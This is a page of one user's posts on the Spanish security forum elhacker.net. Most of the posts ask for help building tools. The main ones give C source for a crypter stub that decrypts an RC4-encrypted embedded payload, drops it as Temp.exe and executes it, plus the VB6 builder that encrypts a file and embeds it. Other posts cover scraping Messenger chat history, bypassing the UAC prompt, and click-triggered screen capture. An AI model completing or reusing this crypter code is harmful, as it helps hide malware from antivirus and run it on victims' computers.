elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Temas
Páginas: 1 2 [3] 4 5
21  Programación / Programación Visual Basic / Obtener contenido del control de otra ventana en: 25 Mayo 2010, 15:34 pm
Bueno estoy intentando obtener el contenido del historial de las conversaciones del Windows Live Messenger, lo que he hecho hasta ahora es obtener las ventanas y sus controles con EnumWindows y EnumChildWindows, luego con el programa AccExplorer he visto el nombre del control :



En el code he debugeado infinitas veces y en una conversación me puede obtener bastantes nombres con DirectUIHWND :

Citar
DirectUIHWNDive WindowBar Class                                                                                                 
DirectUIHWNDssWindowBar Class                                                                                                   
DirectUIHWNDive WindowBar Class                                                                                                 
DirectUIHWNDssWindowBar Class                                                                                                   
DirectUIHWNDive WindowBar Class                                                                                                 
DirectUIHWNDssWindowBar Class

Un problema es que no se si es exactamente el que estoy buscando el 'Historial', apartando esta duda he intentado obtener el valor de esos controles con SendMessage copiando el valor al clipboard :

Código
  1. SendMessage(lngWinChildHandle(x), WM_COPY, 0, 0)

La API me devuelve 0 y no me copia nada al clipboard.

No se que puedo hacer para cumplir mi objetivo que es obtener el contenido del historial, y me gustaria hacerlo por este método, no capturando paquetes ni nada.

Saludos! :huh:
22  Seguridad Informática / Hacking Básico / [PROBLEMA] Cain & Abel + Acer Aspir (Atheros) en: 3 Mayo 2010, 22:52 pm
Bueno antes de ayer me he puesto las pilas con el Cain&Abel, buenisima herramienta, pero tengo un problema, en el portatil mio cuando hago un escaner con todas las opciones seleccionadas en los hosts conectados a la red, no detecta ninguno.. y hay dos sobremesas mas conectados al mismo router, mi portatil se conecta al router por Wifi. En cambio en mi otro sobremesa hago el escaner y detecta todos los pcs que hay en la red, y puedo sniffear los paquetes perfectamente.

¿Que ocurre que mi portatil no detecta ningún otro host?

Aqui dejo la configuración que tengo :



Ayuda  :-\
23  Programación / Programación C/C++ / Problemas con un crypter en VB6/C en: 20 Abril 2010, 13:53 pm
Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

Código
  1. #pragma optimize("gsy", on)
  2. #pragma comment(linker, "/MERGE:.rdata=.data")
  3. #pragma comment(linker, "/MERGE:.reloc=.data")
  4. #pragma comment(linker, "/MERGE:.text=.data")
  5. #pragma comment(linker, "/ENTRY:main")
  6.  
  7. #include <windows.h>
  8.  
  9. LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);
  10.  
  11. void main()
  12. {
  13. HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
  14. DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
  15. MessageBoxA(0,"1","",0);
  16.  
  17. LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
  18. LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
  19. MessageBoxA(0,"2","",0);
  20.  
  21. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  22. Buff=(LPSTR)LockResource(hBuff);
  23. LPSTR xPass=&Buff[Size-11];
  24.  
  25. Buff=RC4(Buff,xPass,Size-11,10);
  26. MessageBoxA(0,"4","",0);
  27. GetTempPath(MAX_PATH,tFile);
  28. lstrcatA(tFile,"\\Temp.exe");
  29.  
  30. HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  31. WriteFile(hFile,Buff,Size,0,0);
  32. CloseHandle(hFile);
  33.  
  34. ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
  35. }
  36.  
  37. LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
  38. {
  39. int i, j = 0, s[256];
  40. DWORD dw;
  41. BYTE tmp;
  42. LPBYTE Buf = (LPBYTE)szBuf;
  43. LPBYTE Key = (LPBYTE)szKey;
  44. for(i = 0; i < 256; i++)
  45. {
  46. s[i] = i;
  47. }
  48. for(i = 0; i < 256; i++)
  49. {
  50. j = (j + s[i] + Key[i % dwKeyLen]) % 256;
  51. tmp = s[i];
  52. s[i] = s[j];
  53. s[j] = tmp;
  54. }
  55. for(dw = 0; dw < dwBufLen; dw++)
  56. {
  57. i = (i + 1) % 256;
  58. j = (j + s[i]) % 256;
  59. tmp = s[i];
  60. s[i] = s[j];
  61. s[j] = tmp;
  62. Buf[dw] ^= s[(s[i] + s[j]) % 256];
  63. }
  64. return (LPSTR)Buf;
  65. }

Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos! ;D

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\
24  Programación / Programación Visual Basic / Problemas al comprimir datos. en: 8 Abril 2010, 18:03 pm
Bueno estoy guiandome de un Tips de Leandro y de la MSDN, pero aun sigo teniendo problemas para comprimir los datos de una variable.

Código
  1. Public Declare Function RtlGetCompressionWorkSpaceSize Lib "NTDLL" (ByVal flags As Integer, WorkSpaceSize As Long, UNKNOWN_PARAMETER As Long) As Long
  2. Public Declare Function RtlCompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, ByVal UNKNOWN_PARAMETER As Long, OutputSize As Long, ByVal WorkSpace As Long) As Long
  3. Public Declare Function RtlDecompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, OutputSize As Long) As Long
  4.  
  5.  
  6. Public Function Compress(Data As String) As String
  7. Dim lenCompress    As Long
  8. Dim xWorkSpace     As Long
  9.  
  10.   RtlGetCompressionWorkSpaceSize 2, xWorkSpace, 0
  11.   RtlCompressBuffer 2, VarPtr(Data), LenB(Data), VarPtr(Compress), LenB(Compress), 4096, lenCompress, xWorkSpace
  12.   Debug.Print Len(Compress)
  13. End Function

Que puede ser? x)

PD : Me crashea..

25  Programación / Programación Visual Basic / Problemas con WriteFile & ReadFile.. en: 26 Marzo 2010, 22:32 pm
Bueno me está pasando algo raro con estas dos API's.. el problema de WriteFile es que me escribe un archivo de 100MB cuando el contenido de la variable solo es de 8kb, y el problema de ReadFile es que no me mete los datos a la variable.

Os dejo el source :

API's :

Código
  1. Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
  2. Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long


Código
  1. Public Function cFile(Path As String)
  2. xRes = LoadResData(101, "STUB")
  3. sRes = StrConv(xRes, vbUnicode)
  4.  
  5. frmMain.lPorcent.Caption = "20%"
  6.  
  7. hFile = CreateFile(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0)
  8. WriteFile hFile, sRes, Len(sRes), 0, 0
  9. CloseHandle hFile
  10.  
  11. frmMain.lPorcent.Caption = "30%"
  12.  
  13. hFile = CreateFile(frmMain.txtFile.Text, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0)
  14. sFile = GetFileSize(hFile, 0)
  15. ReadFile hFile, Buff, sFile, 0, 0
  16. CloseHandle hFile
  17.  
  18. frmMain.lPorcent.Caption = "40%"
  19.  
  20. Buff = RC4(Buff, frmMain.txtPass.Text) & frmMain.txtPass.Text
  21.  
  22. frmMain.lPorcent.Caption = "90%"
  23.  
  24. hRes = BeginUpdateResource(Path, vbTrue)
  25. UpdateResource hRes, "DATA", RT_RCDATA, 0, Buff, Len(Buff)
  26. EndUpdateResource hRes, vbFalse
  27.  
  28. frmMain.lPorcent.Caption = "100% - Encrypted!"
  29. End Function

Estoy haciendo un crypter en VB6/C y decidí hacerlo todo con API's.

Saludos! :huh:


26  Programación / Programación Visual Basic / Intentando saltar el UAC Vista/7 en: 17 Enero 2010, 00:37 am
Bueno estoy loquisimo con esto..   :rolleyes: ya no se que mas probar y lo que estoy probando ahora me he quedado a medias.
Bajé el VistaUACMaker y agrega el manifest para ejecutar el programa como administrador, el problema es que todavia sigue saliendo el mensajito :



Estoy intentando agregarle una firma digital pero no encuentro el programa de la SDK llamado (SignTool), creo que si le agrego la firma no lo reconocerá como desconocido. Quería preguntar... no hay alguna otra manera por VB?..

Saludos!  :huh:
27  Programación / Programación Visual Basic / [RESUELTO] Capturar imagen al hacer click en: 10 Enero 2010, 14:43 pm
Bueno quiero que cuando el raton haga click capture una imagen de su alrededor de 50x50, estoy intentando por ahora que al hacer click por lo menos capture y despues de varios intentos he llegado a la conclusion de que tengo que hacer hooks al raton, me puse a buscar ejemplos mas o menos del hook al raton pero no me sirvieron, la idea es por ahora que al hacer click capture la imagen de la ventana activa y ya luego el otro problema seria mostrando el puntero en la captura de 50x50

Esta sería la función que capturaría la ventana activa :

Código
  1. Public Function cWindow()
  2.  Num = Num + 1
  3.  keybd_event 44, 0, 0&, 0&
  4.  DoEvents
  5.  If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), sIM & Num & ".bmp"
  6. End Function
  7.  

Y lo que intento hacer es ahora con las siguientes declaraciones, es saber cuando se hizo click y llamar a la otra función :
Código
  1. Public Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  2.  
  3. Public Const WH_MOUSE As Long = 7
  4.  


Saludos! :huh:
28  Foros Generales / Dudas Generales / Especie de lupa en la barra de tareas... en: 9 Enero 2010, 19:34 pm


A que se debe esa lupa?, no instale nada, salió sola..
No tiene menu popup, no encuentro su proceso ni nada de nada

:S
29  Programación / ASM / [FASM-DUDA] Leer contenido de un recurso en: 4 Enero 2010, 14:09 pm
Bueno estoy probando a hacer un constructor con ASM, la mejor manera que pensé fue agreganndole un recurso desde el constructor al stub con los datos dentro, ahora el dilema es como abrir el recurso que agregó el constructor?

Saludos! :huh:
30  Programación / Programación Visual Basic / Personal Algorythm + Source en: 5 Diciembre 2009, 18:14 pm
Bueno este proyecto lo tenía parado, un dia se me ocurrió la idea de hacer un programa que cree un modulo para proyectos de VB6 (Visual Basic 6) con la función de cifrar y descifrar datos, lo que hice fue un programa con la opción de hacer un algoritmo personal, sustituyendo carácteres por otros.



Forma de uso :
Para llamar a la función de cifrar 'cifrado = Encrypt(Datos, Contraseña)'
Para llamar a la función de descifrar 'descifrado = Decrypt(Datos, Contraseña)'

Descargar Personal Algorythm (Binario)
Descargar Personal Algorythm (Source)

Contraseña de los ficheros : SCB Lab's

Saludos!  :D
Páginas: 1 2 [3] 4 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines